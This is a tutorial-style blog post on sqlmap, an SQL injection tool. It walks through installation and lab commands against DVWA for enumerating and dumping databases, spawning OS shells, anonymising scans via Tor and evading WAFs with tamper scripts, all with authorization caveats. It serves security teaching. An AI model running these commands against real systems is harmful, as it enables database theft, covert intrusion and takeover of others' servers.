sqlmap: An automated tool for detecting and exploiting SQL injection vulnerabilities

I still remember the first time I ran sqlmap against a deliberately vulnerable lab app and watched it dump an entire database schema in under two minutes. That moment sold me on why this tool has stayed at the top of every penetration tester’s toolkit for over a decade. In this guide, I’ll walk you through everything I’ve learned about sqlmap — from the basics to the advanced tricks I actually use in authorized engagements.

What Is sqlmap?

sqlmap is an open-source, command-line tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) vulnerabilities in web applications. Instead of manually crafting injection payloads and guessing database behavior, sqlmap does the heavy lifting: fingerprinting the database, identifying injectable parameters, extracting data, and even gaining OS-level access in some cases.

It supports almost every major database backend — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, and more.

Architecture and Internal Working

Under the hood, sqlmap works in layers:

1. Detection engine – sends crafted requests with boolean, error-based, time-based, UNION-based, and stacked query payloads to determine if a parameter is injectable.
2. Fingerprinting module – once injection is confirmed, it identifies the exact DBMS version and configuration.
3. Enumeration engine – extracts database names, tables, columns, and rows using the confirmed injection technique.
4. Takeover module – for privileged accounts, sqlmap can read/write files on the filesystem or even spawn an interactive OS shell using stored procedures (like xp_cmdshell on MSSQL).

sqlmap is heuristic-driven: it doesn’t blindly throw every payload at every parameter. It first tests lightweight heuristics, then escalates to full boilerplate testing only if there’s a reasonable signal of vulnerability. This keeps requests efficient and reduces noise on the target.

Installation

sqlmap comes pre-installed on Kali Linux and Parrot OS. For other systems:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --version

Or via pip (unofficial packaging):

pip install sqlmap

Verify installation:

sqlmap --version

Expected output:

1.8.#stable

Basic Syntax

sqlmap -u "http://target.com/page.php?id=1" [options]

Practical Command Examples (Lab Environment Only)

I always test against intentionally vulnerable apps like DVWA, bWAPP, or OWASP Juice Shop running locally.

1. Basic injection test:

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low"

2. Listing databases:

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" --dbs

Sample output:

available databases [2]:
[*] dvwa
[*] information_schema

3. Enumerating tables in a database:

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" -D dvwa --tables

4. Dumping table data:

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abc123; security=low" -D dvwa -T users --dump

5. Testing POST data from a captured request file (Burp Suite export):

sqlmap -r request.txt --batch --dbs

6. Using Tor for anonymity in authorized red-team exercises:

sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor

7. Attempting OS shell access (only against systems you own or have written authorization for):

sqlmap -u "http://target.com/page.php?id=1" --os-shell

Key Configuration Options

Real-World Use Cases

• Web app penetration tests: Confirming and exploiting SQLi found during manual testing with Burp Suite.
• Digital forensics/incident response: Reproducing an attack path reported in logs to understand what data may have been exfiltrated.
• Bug bounty labs: Validating SQLi findings in scoped, authorized programs before reporting.
• Red team engagements: Chaining sqlmap’s OS shell capability with post-exploitation frameworks like Metasploit.

Integration with Other Tools

• Burp Suite: Export a request as a .txt file and feed it to sqlmap with -r.
• Metasploit: Once sqlmap gains an OS shell, pivot into a Meterpreter session for deeper post-exploitation.
• tamper scripts: Combine with WAF-bypass scripts like space2comment.py or charencode.py when testing hardened targets in your lab.

Performance Optimization

• Use --threads=5 (max recommended) to speed up dumping without triggering rate limits.
• Narrow scope with --technique to avoid wasting time on techniques unlikely to work.
• Cache results with --flush-session only when you need a fresh run; otherwise sqlmap resumes previous session data automatically, saving time.

Troubleshooting Common Issues

• False negative on injection: Increase --level and --risk.
• WAF blocking requests: Add --tamper=space2comment,between or randomize user-agent with --random-agent.
• Session/cookie expiring mid-scan: Use --csrf-token and --cookie together, or automate login with --auth-type.

Common Mistakes to Avoid

1. Running sqlmap against production systems without written authorization — this is illegal in most jurisdictions.
2. Skipping --batch and getting stuck on interactive prompts during automated scripts.
3. Ignoring --risk implications — risk level 3 can include payloads that modify data.
4. Not saving traffic logs (-t logfile.txt) for reporting purposes.

FAQ

Is sqlmap illegal to use? No — sqlmap itself is a legal, open-source tool. What matters is authorization. Using it against systems you don’t own or lack written permission for is illegal.

Can sqlmap bypass a WAF? Sometimes, using tamper scripts, but modern WAFs with behavioral detection can still catch it. It’s not guaranteed.

Does sqlmap only work on GET parameters? No — it supports GET, POST, cookies, HTTP headers, and even JSON/XML bodies.

Can sqlmap get me a full reverse shell? Yes, via --os-shell or --os-pwn if the DBMS user has sufficient privileges and the target OS supports it (common with MSSQL and xp_cmdshell).

Lab Example Walkthrough

1. Spin up DVWA in a local VM (VirtualBox/VMware).
2. Set security level to “low” for initial practice.
3. Capture your session cookie from the browser.
4. Run the --dbs command shown above.
5. Progress to --tables, then --dump.
6. Repeat at “medium” and “high” security settings to understand how sqlmap adapts (or fails) against basic mitigations.

Summary

sqlmap remains one of the most powerful and time-saving tools for identifying and exploiting SQL injection vulnerabilities. Whether you’re validating findings in a bug bounty program, running an authorized penetration test, or just learning web application security in a home lab, mastering sqlmap’s options — from detection techniques to tamper scripts — will make you significantly more efficient. Always use it responsibly and only against systems you’re authorized to test.

References

• Official documentation: https://github.com/sqlmapproject/sqlmap/wiki
• GitHub repository: https://github.com/sqlmapproject/sqlmap
• Usage manual: https://github.com/sqlmapproject/sqlmap/wiki/Usage